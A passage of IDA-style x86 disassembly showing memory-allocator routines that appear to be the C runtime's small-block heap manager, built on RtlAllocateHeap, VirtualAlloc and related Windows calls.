loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFB4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFAC
		jnz	short loc_41E4C7
		and	dword_4DCFB4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFB8
		mov	ecx, dword_4DCFA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFBC
		push	edi
		push	dword_4DCFC4
		call	dword_427198	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFA8, 10h
		mov	dword_4DCFBC, eax
		mov	eax, dword_4DCFB8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFBC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFC4
		lea	esi, [ecx+eax*4]
		call	dword_427144	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4271C4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFC4
		call	dword_427140	; RtlFreeHeap


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4271C4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41DDD2+41p
					; sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9A0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A990
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A990
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A990, 0
		jnz	short loc_41E9F6
		mov	off_43A990, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A994, 0
		jnz	short loc_41EA1B
		mov	off_43A994, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A994
		mov	[esi+4], eax
		mov	off_43A994, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	dword_4271C0	; VirtualFree


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A990
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFC4
		call	dword_427140	; RtlFreeHeap


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4271C0	; VirtualFree
		cmp	off_43C9B0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9B0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A990
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFC4
		call	dword_427140	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9A0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A994
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4271C0	; VirtualFree
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9B4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A994
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A990
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9B4
		cmp	dword_4DB9B4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9B0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9B0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9B0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A990
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_4271C4	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
